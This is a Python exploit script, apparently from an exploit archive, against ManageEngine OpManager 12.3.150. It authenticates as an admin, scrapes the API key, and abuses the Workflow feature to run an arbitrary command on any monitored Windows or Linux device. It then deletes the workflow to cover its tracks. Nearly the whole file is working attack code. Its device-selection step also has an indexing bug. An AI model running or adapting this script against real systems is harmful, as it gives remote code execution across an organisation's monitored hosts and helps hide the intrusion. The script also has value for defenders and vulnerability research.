266 lines
No EOL
9.6 KiB
Python
Executable file
266 lines
No EOL
9.6 KiB
Python
Executable file
#!/usr/bin/env python3
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# Exploit Title: ManageEngine opManager Authenticated Code Execution
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# Google Dork: N/A
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# Date: 08/13/2019
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# Exploit Author: @kindredsec
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# Vendor Homepage: https://www.manageengine.com/
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# Software Link: https://www.manageengine.com/network-monitoring/download.html
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# Version: 12.3.150
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# Tested on: Windows Server 2016
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# CVE: N/A
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import requests
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import re
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import random
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import sys
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import json
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import string
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import argparse
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C_WHITE = '\033[1;37m'
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C_BLUE = '\033[1;34m'
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C_GREEN = '\033[1;32m'
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C_YELLOW = '\033[1;33m'
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C_RED = '\033[1;31m'
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C_RESET = '\033[0m'
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LOGIN_FAIL_MSG = "Invalid username and/or password."
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def buildRandomString(length=10):
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letters = string.ascii_lowercase
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return ''.join(random.choice(letters) for i in range(length))
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def getSessionData(target, user, password):
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session = requests.Session()
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session.get(target)
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# Login Sequence
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randSid = random.uniform(-1,1)
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getParams = { "requestType" : "AJAX" , "sid" : str(randSid) }
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postData = { "eraseAutoLoginCookie" : "true" }
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session.post( url = target + "/servlets/SettingsServlet", data = postData, params = getParams )
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postData = { "loginFromCookieData" : "false",
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"ntlmv2" : "false",
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"j_username" : user,
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"j_password" : password
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}
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initialAuth = session.post( url = target + "/j_security_check", data = postData )
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if LOGIN_FAIL_MSG in initialAuth.text:
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print(f"{C_RED}[-]{C_RESET} Invalid credentials specified! Could not login to OpManager.")
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sys.exit(1)
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elif initialAuth.status_code != 200:
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print(f"{C_RED}[-]{C_RESET} An Unknown Error has occurred during the authentication process.")
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sys.exit(1)
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apiKeyReg = re.search(".*\.apiKey = .*;", initialAuth.text)
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apiKey = apiKeyReg.group(0).split('"')[1]
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return { "session" : session , "apiKey" : apiKey }
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def getDeviceList(target, session, apiKey):
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deviceList = session.get( target + "/api/json/v2/device/listDevices" , params = { "apiKey" : apiKey } )
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devices = {}
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devicesJsonParsed = json.loads(deviceList.text)
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for row in devicesJsonParsed["rows"]:
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devices[row["deviceName"]] = [ row["ipaddress"], row["type"] ]
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return devices
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def buildTaskWindows(target, session, apiKey, device, command):
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# Build Task
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taskName = buildRandomString()
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workFlowName = buildRandomString(15)
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jsonData = """{"taskProps":{"mainTask":{"taskID":9,"dialogId":3,"name":"""
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jsonData += '"' + taskName + '"'
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jsonData += ""","deviceDisplayName":"${DeviceName}","cmdLine":"cmd.exe /c ${FileName}.bat ${DeviceName} ${UserName} ${Password} arg1","scriptBody":"""
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jsonData += '"' + command + '"'
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jsonData += ""","workingDir":"${UserHomeDir}","timeout":"60","associationID":-1,"x":41,"y":132},"name":"Untitled","description":""},"triggerProps":{"workflowDetails":{"wfID":"","wfName":"""
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jsonData += '"' + workFlowName + '"'
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jsonData += ""","wfDescription":"Thnx for Exec","triggerType":"0"},"selectedDevices":["""
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jsonData += '"' + device + '"'
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jsonData += """],"scheduleDetails":{"schedType":"1","selTab":"1","onceDate":"2999-08-14","onceHour":"0","onceMin":"0","dailyHour":"0","dailyMin":"0","dailyStartDate":"2019-08-14","weeklyDay":[],"wee"""
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jsonData += """klyHour":"0","weeklyMin":"0","monthlyType":"5","monthlyWeekNum":"1","monthlyDay":["1"],"monthlyHour":"0","monthlyMin":"0","yearlyMonth":["0"],"yearlyDate":"1","yearlyHour":"0","y"""
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jsonData += """earlyMin":"0"},"criteriaDetails":{}}}"""
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makeWorkFlow = session.post(url = target + "/api/json/workflow/addWorkflow", params = { "apiKey" : apiKey }, data = { "jsonData" : jsonData })
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if "has been created successfully" in makeWorkFlow.text:
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print(f"{C_GREEN}[+]{C_RESET} Successfully created Workflow")
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else:
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print(f"{C_RED}[-]{C_RESET} Issues creating workflow. Exiting . . .")
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sys.exit(1)
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return workFlowName
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def buildTaskLinux(target, session, apiKey, device, command):
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taskName = buildRandomString()
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workFlowName = buildRandomString(15)
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jsonData = """{"taskProps":{"mainTask":{"taskID":9,"dialogId":3,"name":"""
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jsonData += '"' + taskName + '"'
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jsonData += ""","deviceDisplayName":"${DeviceName}","cmdLine":"sh ${FileName} ${DeviceName} arg1","scriptBody":"""
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jsonData += '"' + command + '"'
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jsonData += ""","workingDir":"${UserHomeDir}","timeout":"60","associationID":-1,"x":41,"y":132},"name":"Untitled","description":""},"triggerProps":{"workflowDetails":{"wfID":"","wfName":"""
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jsonData += '"' + workFlowName + '"'
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jsonData += ""","wfDescription":"Thnx for Exec","triggerType":"0"},"selectedDevices":["""
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jsonData += '"' + device + '"'
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jsonData += """],"scheduleDetails":{"schedType":"1","selTab":"1","onceDate":"2999-08-14","onceHour":"0","onceMin":"0","dailyHour":"0","dailyMin":"0","dailyStartDate":"2019-08-14","weeklyDay":[],"wee"""
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jsonData += """klyHour":"0","weeklyMin":"0","monthlyType":"5","monthlyWeekNum":"1","monthlyDay":["1"],"monthlyHour":"0","monthlyMin":"0","yearlyMonth":["0"],"yearlyDate":"1","yearlyHour":"0","y"""
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jsonData += """earlyMin":"0"},"criteriaDetails":{}}}"""
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makeWorkFlow = session.post(url = target + "/api/json/workflow/addWorkflow", params = { "apiKey" : apiKey }, data = { "jsonData" : jsonData })
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if "has been created successfully" in makeWorkFlow.text:
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print(f"{C_GREEN}[+]{C_RESET} Successfully created Workflow")
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else:
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print(f"{C_RED}[-]{C_RESET} Issues creating workflow. Exiting . . .")
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sys.exit(1)
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return workFlowName
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# Get the ID of the newly created workflow
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def getWorkflowID(target, session, apiKey, workflowName):
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getID = session.get(url = target + "/api/json/workflow/getWorkflowList", params = { "apiKey" : apiKey })
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rbID = -100
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workflowJsonParsed = json.loads(getID.text)
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for wf in workflowJsonParsed:
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if wf['name'] == workflowName:
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rbID = wf['rbID']
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if rbID == -100:
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print(f"{C_RED}[-]{C_RESET} Issue obtaining Workflow ID. Exiting ...")
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sys.exit(1)
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return rbID
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def getDeviceID(target, session, apiKey, rbID, device):
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getDevices = session.get(url = target + "/api/json/workflow/showDevicesForWorkflow", params = { "apiKey" : apiKey , "wfID" : rbID })
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wfDevicesJsonParsed = json.loads(getDevices.text)
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wfDevices = wfDevicesJsonParsed["defaultDevices"]
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deviceID = list(wfDevices.keys())[0]
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return deviceID
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def runWorkflow(target, session, apiKey, rbID, device):
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targetDeviceID = getDeviceID(target, session, apiKey, rbID, device)
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print(f"{C_YELLOW}[!]{C_RESET} Executing Code . . .")
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workflowExec = session.post(target + "/api/json/workflow/executeWorkflow", params = { "apiKey" : apiKey }, data = { "wfID" : rbID, "deviceName" : targetDeviceID, "triggerType" : 0 } )
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if re.match(r"^\[.*\]$", workflowExec.text.strip()):
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print(f"{C_GREEN}[+]{C_RESET} Code appears to have run successfully!")
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else:
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print(f"{C_RED}[-]{C_RESET} Unknown error has occurred. Please try again or run the process manually.")
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sys.exit(1)
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deleteWorkflow(target, session, apiKey, rbID)
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print(f"{C_GREEN}[+]{C_RESET} Exploit complete!")
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def deleteWorkflow(target, session, apiKey, rbID):
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print(f"{C_YELLOW}[!]{C_RESET} Cleaning up . . .")
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delWorkFlow = session.post( target + "/api/json/workflow/deleteWorkflow" , params = { "apiKey" : apiKey, "wfID" : rbID })
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def main():
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parser = argparse.ArgumentParser(description="Utilizes OpManager's Workflow feature to execute commands on any monitored device.")
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parser.add_argument("-t", nargs='?', metavar="target", help="The full base URL of the OpManager Instance (Example: http://192.168.1.1)")
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parser.add_argument("-u", nargs='?', metavar="user", help="The username of a valid OpManager admin account.")
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parser.add_argument("-p", nargs='?', metavar="password", help="The password of a valid OpManager admin account.")
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parser.add_argument("-c", nargs='?', metavar="command", help="The command you want to run.")
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args = parser.parse_args()
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insufficient_args = False
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if not args.u:
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print(f"{C_RED}[-]{C_RESET} Please specify a username with '-t'.")
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insufficient_args = True
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if not args.t:
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print(f"{C_RED}[-]{C_RESET} Please specify a target with '-t'.")
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insufficient_args = True
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if not args.p:
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print(f"{C_RED}[-]{C_RESET} Please specify a password with '-p'.")
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insufficient_args = True
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if not args.c:
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print(f"{C_RED}[-]{C_RESET} Please specify a command with '-c'.")
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insufficient_args = True
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if insufficient_args:
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sys.exit(1)
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sessionDat = getSessionData(args.t, args.u, args.p)
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session = sessionDat["session"]
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apiKey = sessionDat["apiKey"]
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devices = getDeviceList(args.t, session, apiKey)
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# if there's only one device in the OpManager instance, default to running commands on that device;
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# no need to ask the user.
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if len(devices.keys()) == 1:
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device = list(devices.keys())[0]
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else:
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print(f"{C_YELLOW}[!]{C_RESET} There appears to be multiple Devices within this target OpManager Instance:")
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print("")
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counter = 1
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for key in devices.keys():
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print(f" {counter}: {key} ({devices[key][0]}) ({devices[key][1]})")
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print("")
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while True:
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try:
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prompt = f"{C_BLUE}[?]{C_RESET} Please specify which Device you want to run your command on: "
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devSelect = int(input(prompt))
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except KeyboardInterrupt:
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sys.exit(1)
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except ValueError:
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print(f"{C_RED}[-]{C_RESET} Error. Invalid Device number selected. Quitting . . .")
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sys.exit(1)
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if devSelect < 1 or devSelect > len(list(devices.keys())):
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print(f"{C_RED}[-]{C_RESET} Error. Invalid Device number selected. Quitting . . .")
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sys.exit(1)
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else:
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device = list(devices.keys())[counter - 1]
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break
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# don't hate, it works doesn't it?
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if "indows" in devices[device][1]:
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workflowName = buildTaskWindows(args.t, session, apiKey, device, args.c)
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else:
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workflowName = buildTaskLinux(args.t, session, apiKey, device, args.c)
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workflowID = getWorkflowID(args.t, session, apiKey, workflowName)
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runWorkflow(args.t, session, apiKey, workflowID, device)
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main() |